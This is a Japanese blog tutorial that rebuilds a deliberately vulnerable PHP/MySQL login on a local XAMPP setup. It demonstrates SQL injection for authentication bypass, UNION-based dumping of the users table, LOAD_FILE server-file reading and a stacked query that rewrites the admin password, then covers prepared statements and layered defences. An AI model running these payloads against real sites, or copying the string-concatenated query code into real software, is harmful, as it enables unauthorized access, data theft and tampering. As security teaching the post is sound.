基本的なSQLインジェクション脆弱性を検証してみた のサムネイル

基本的なSQLインジェクション脆弱性を検証してみた

⏱ 約 15 分 view 647 like 2 LOG_DATE:2025-11-10
目次 / TOC

SQL インジェクション (SQLi) は、ユーザー入力を SQL 文に直接連結することで、攻撃者が任意の SQL を実行できてしまう古典的な Web 脆弱性。本実験ではローカル環境 (Windows + XAMPP) に意図的に脆弱な PHP / MySQL アプリを構築し、(1) 認証回避 → (2) UNION による情報取得 → (3) LOAD_FILE によるサーバファイル読取 → (4) スタッククエリによるデータベース改ざんの 4 つの攻撃を再現する。最後に、これらの攻撃をすべて無効化する プリペアドステートメントの正しい使い方まで通しで扱う。

▸ 法的・倫理的注意 (実験前に必読)

SQL インジェクションは 他人のサイトに撃った瞬間に犯罪 (日本: 不正アクセス禁止法 / 電子計算機損壊等業務妨害罪、米国: CFAA)。自分の PC にローカルで建てた XAMPP / Docker 上の脆弱なアプリでのみ実施可能。意図的に脆弱に作られた練習サイト (DVWA / PortSwigger Web Security Academy / HackTheBox) で学習するのも適切な選択肢。

01

実験の概要 — 4 つの攻撃を再現 #

実験は以下のステップで行う。

# 実験 内容
1 認証回避 SQL の論理を操作し、パスワードなしでログイン
2 情報取得 UNION 演算子を悪用し、データベース内の全情報を盗み出す
3 ファイル表示 LOAD_FILE() 関数を悪用し、サーバー上のローカルファイルを読み取る
4 データベース改ざん スタッククエリを悪用し、データベースの値を不正に書き換える
▸ かみ砕いて言うと — SQLi は「店員に直接指示を書き換えさせる」

ログインフォームの裏では 「username が ○○ で password が ○○ の人を探して」という SQL 文がデータベースに送られる。脆弱なコードは ユーザの入力をそのまま SQL 文に貼り付けるので、攻撃者は 「username が admin で password が空、または 1=1 (常に真)」のような 「SQL の論理を捻じ曲げる入力」を打ち込める。データベースから見ると「正しい SQL」なので、何の疑いもなく実行されてしまう。 — 「店員に注文を伝えるはずの紙に、勝手にメニュー外の命令を書き足して渡す」のと同じ構図。

02

環境構築 #

項目 内容
OS Windows 11
サーバー XAMPP (Apache, MariaDB(MySQL))
脆弱なアプリ 自作 PHP スクリプト + test_db データベースと users テーブル
# データベースへアクセス
PS C:\xampp\mysql\bin> .\mysql.exe -u root

# test_dbデータベースを作成
MariaDB [(none)]> CREATE DATABASE test_db;

# users テーブルを作成
MariaDB [(none)]> USE test_db;
MariaDB [test_db]> CREATE TABLE users (
    -> id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,
    -> username VARCHAR(50) NOT NULL,
    -> password VARCHAR(50) NOT NULL
    -> );

# users テーブルの構造を確認
MariaDB [test_db]> DESC users;

# admin と user を登録
MariaDB [test_db]> INSERT INTO users (username, password) VALUES
    -> ('admin', 'password123'),
    -> ('user', 'pass');

# 登録内容の最終確認
MariaDB [test_db]> SELECT * FROM users;
+----+----------+-------------+
| id | username | password    |
+----+----------+-------------+
|  1 | admin    | password123 |
|  2 | user     | pass        |
+----+----------+-------------+
03

実験 1: 認証回避 #

目的 — パスワードを知らなくても、WHERE 句の論理を操作して常に「真」にすることで、ログイン認証を突破する。

使用ファイル #

index.html (ログインフォーム):

<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>ログインフォーム(脆弱な例)</title>
</head>
<body>
    <h2>ログイン</h2>
    <form action="spli1.php" method="POST">
        <div>
            <label for="username">ユーザー名:</label>
            <input type="text" id="username" name="username">
        </div>
        <div>
            <label for="password">パスワード:</label>
            <input type="password" id="password" name="password">
        </div>
        <button type="submit">ログイン</button>
    </form>
</body>
</html>
ログインフォーム

spli1.php (脆弱なログイン処理):

<?php
$servername = "localhost";
$username_db = "root";
$password_db = "";
$dbname = "test_db";

$user = $_POST['username'];
$pass = $_POST['password'];

$conn = new mysqli($servername, $username_db, $password_db, $dbname);

if ($conn->connect_error) {
    die("接続失敗: " . $conn->connect_error);
}

$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";

echo "<p>実行しようとしたクエリ:</p>";
echo "$sql<hr>";

$result = $conn->query($sql);

if ($result && $result->num_rows > 0) {
    echo "<h1>ログイン成功</h1>";
    echo "<p>ようこそ、" . htmlspecialchars($user, ENT_QUOTES, 'UTF-8') . " さん</p>";
} else {
    echo "<h1>ログイン失敗</h1>";
    echo "<p>ユーザー名またはパスワードが間違っています。</p>";
}

$conn->close();
?>

実行ペイロード #

ユーザー名とパスワード入力欄に以下の文字列を入力する。

ユーザー名:admin
パスワード:' OR '1'='1

実行される SQL #

PHP によって組み立てられた結果、SQL は以下のようになる。

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'

結果と解説 #

MySQL は AND よりも OR の優先度が低いため、この SQL は (username = 'admin' AND password = '') OR ('1'='1') と解釈される。

前半が偽 (False) であっても、後半の '1'='1' が常に真 (True) であるため、WHERE 句全体が真となる。結果として、spli1.php$result->num_rows > 0 の条件を満たし、**「ログイン成功」**と表示された。

認証回避成功
04

実験 2: データベース情報取得とファイル表示 #

目的UNION 演算子と LOAD_FILE() 関数を使い、データベース内の情報やサーバー上のファイルを取得する。

使用ファイル #

index.html (<form action="spli1.php"><form action="spli2.php"> に変更)

spli2.php (結果をテーブル表示する):

<?php
$servername = "localhost";
$username_db = "root";
$password_db = "";
$dbname = "test_db";

$user = $_POST['username'];
$pass = $_POST['password'];

$conn = new mysqli($servername, $username_db, $password_db, $dbname);

if ($conn->connect_error) {
    die("接続失敗: " . $conn->connect_error);
}

$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";

echo "<p>実行しようとしたクエリ:</p>";
echo "" . htmlspecialchars($sql, ENT_QUOTES, 'UTF-8') . "<hr>";

$result = $conn->query($sql);

if ($result && $result->num_rows > 0) {
    echo "<h1>ログイン成功</h1>";
    
    echo "<p>--- データベースから取得した情報 ---</p>";
    echo "<table border='1'>";
    
    $fields = $result->fetch_fields();
    echo "<tr>";
    foreach ($fields as $field) {
        echo "<th>" . htmlspecialchars($field->name) . "</th>";
    }
    echo "</tr>";
    
    $result->data_seek(0); 
    while ($row = $result->fetch_assoc()) {
        echo "<tr>";
        foreach ($row as $data) {
             echo "<td>" . htmlspecialchars($data, ENT_QUOTES, 'UTF-8') . "</td>";
        }
        echo "</tr>";
    }
    echo "</table>";

} else {
    echo "<h1>ログイン失敗</h1>";
    echo "<p>ユーザー名またはパスワードが間違っています。</p>";
}

$conn->close();
?>

spli2.php は、spli1.php とは異なり、取得した結果をすべてテーブル形式で表示するように変更されている。

通常のログイン #

ユーザー名:admin
パスワード:password123

実行結果

通常ログイン成功

ログインが成功し、ログインした admin に関する情報だけが表示される。

実行ペイロード (情報取得) #

ユーザー名:' UNION SELECT id, username, password FROM users #
パスワード:hoge (適当)

実行される SQL

SELECT * FROM users WHERE username = '' UNION SELECT id, username, password FROM users #' AND password = 'a'

結果と解説

最初の SELECT 文は 0 件だが、UNION によって追加された SELECT ... FROM users が実行される。末尾の # (コメントアウト) が AND password = 'a' の構文エラーを防ぐ。結果、users テーブルの全内容 (adminuser の両方) が画面に表示された。

UNION で情報取得

実行ペイロード (ファイル表示) #

ユーザー名:' UNION SELECT 1, LOAD_FILE('C:/Windows/win.ini'), 3 #
パスワード:hoge (適当)

実行される SQL

SELECT * FROM users WHERE username = '' UNION SELECT 1, LOAD_FILE('C:/Windows/win.ini'), 3 #' AND password = 'hoge'

結果と解説

UNION で結合する際、元のカラム数 (3 つ) と合わせるため、ダミーの 13 を入れている。LOAD_FILE()username カラムの部分で実行され、サーバー (XAMPP 実行環境) の C:/Windows/win.ini の内容が読み取られ、画面に表示された。

LOAD_FILE でファイル読取
▸ UNION + LOAD_FILE の組合せが怖い理由

UNION で「DB 上の任意のテーブルが読める」だけでも怖いが、LOAD_FILE は「DB サーバ上の OS ファイルが読める」レベルにまで攻撃を昇格させる。/etc/passwd や設定ファイル、秘密鍵を狙われると、DB だけでなくサーバ全体が掌握される入口になる。LOAD_FILE は MySQL の FILE 権限が必要だが、XAMPP のような開発環境では root で動かしがちで、簡単に成立してしまう。

05

実験 3: データベースの改ざん #

目的 — スタッククエリ (複数文の実行) を悪用し、データベースの値を不正に UPDATE (更新) する。

使用ファイル #

index.html (<form action="spli2.php"><form action="spli3.php"> に変更)

spli3.php (危険な multi_query() を使用する):

<?php
$conn = new mysqli("localhost", "root", "", "test_db");
if ($conn->connect_error) {
    die("接続失敗: " . $conn->connect_error);
}

$user = $_POST['username'];
$pass = $_POST['password'];

$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";

echo "" . htmlspecialchars($sql, ENT_QUOTES, 'UTF-8') . "<hr>";

if ($conn->multi_query($sql)) {
    do {
        if ($res = $conn->store_result()) {
            $res->free();
        }
    } while ($conn->more_results() && $conn->next_result());
    
    if ($conn->affected_rows > 0) {
        echo "<p>ログインに成功しました</p>";
    } else {
         echo "<p>ログインに失敗しました</p>";
    }
} else {
    echo "<p style='color: red;'><b>クエリ失敗:</b> " . $conn->error . "</p>";
}

$conn->close();
?>

spli3.php は、query() の代わりに、複数文の実行を許可する multi_query() を意図的に使用している。

実行ペイロード #

ユーザー名:' ; UPDATE users SET password = 'hacked' WHERE username = 'admin' #
パスワード:hoge (適当)

実行される SQL #

SELECT * FROM users WHERE username = '' ; UPDATE users SET password = 'hacked' WHERE username = 'admin' #' AND password = 'a'

結果と解説 #

multi_query() を使用したため、セミコロン (;) で区切られた 2 つの SQL 文 (SELECTUPDATE) が連続して実行された。spli3.phpaffected_rows (影響を受けた行数) を見ており、UPDATE が成功して 1 行が影響を受けたため**「ログイン成功」**と表示された。

実際に MySQL コンソールから SELECT * FROM users; を確認したところ、admin のパスワードが hacked に変更されていることを確認できた。

スタッククエリ実行結果
・改ざん前

改ざん前

・改ざん後

改ざん後

06

対策と考察 #

なぜ攻撃が成立したのか #

これらの攻撃がすべて成功した根本的な原因は、**「ユーザーの入力を SQL 文の一部 (文字列) として直接連結した」**こと。

最も強力で根本的な対策は、プリペアドステートメント (プレースホルダ) を利用すること。これは、SQL 文の「命令 (SELECT など)」と「値 (admin など)」を分離してデータベースに送る仕組み。

安全なコード (PHP / mysqli) #

// 1. SQL文のテンプレート(値の部分を ? にする)
$sql = "SELECT * FROM users WHERE username = ? AND password = ?";

// 2. ステートメントを準備
$stmt = $conn->prepare($sql);

// 3. 値を「バインド」(型を指定して割り当て)
// "ss" は string, string の意味
$stmt->bind_param("ss", $user, $pass);

// 4. 実行
$stmt->execute();

// 5. 結果取得
$result = $stmt->get_result();

この方法を使えば、たとえユーザー名に ' OR '1'='1 と入力されても、それは「SQL の命令」とは解釈されず、単なる「' OR '1'='1 という文字列のユーザー名」として扱われるため、すべての SQL インジェクション攻撃は失敗する。

対策の階層 #

内容
アプリ層 プリペアドステートメント (mysqli prepare / PDO prepare) を全クエリで使う。生 SQL 連結は禁止
ORM の活用 Laravel Eloquent / Django ORM / SQLAlchemy など、自動でプレースホルダ化するフレームワークを使う
DB 権限 アプリ用 DB ユーザに FILE / SUPER 権限を与えない。MySQL root で本番運用しない
WAF Cloudflare / AWS WAF などで OWASP CRS を有効化 — 既知 SQLi パターンを弾く
入力検証 数値しか期待しない箇所は型キャスト / 正規表現で弾く (アプリ層の補助)
▸ まとめ — 「プリペアドステートメント 1 つでほぼ全部防げる」

感想として、わずか数行の脆弱なコードから、認証回避 / 情報漏洩 / サーバのファイル読み取り / データ改ざんまで、これほど多様な攻撃に派生することに驚いた。特に、query() では防がれていたスタッククエリが、multi_query() を使うだけで可能になってしまう など、使用する関数一つでセキュリティレベルが大きく変わる。「ユーザーからの入力はすべて信頼しない」というセキュリティ原則の重みを、4 つの実験で同時に体感できた。開発者は 「プリペアドステートメントを習慣として常に使う」こと、フレームワークの自動エスケープに乗ること、これだけで現代の SQLi の 95% は構造的に防げる。

𝕏 ポスト B! はてブ
Post Share LINE B!

COMMENTS 3

七嶋
すごー
あいう
こんにちは
七嶋 @dLZ3dcIgvd
どもー

コメントを投稿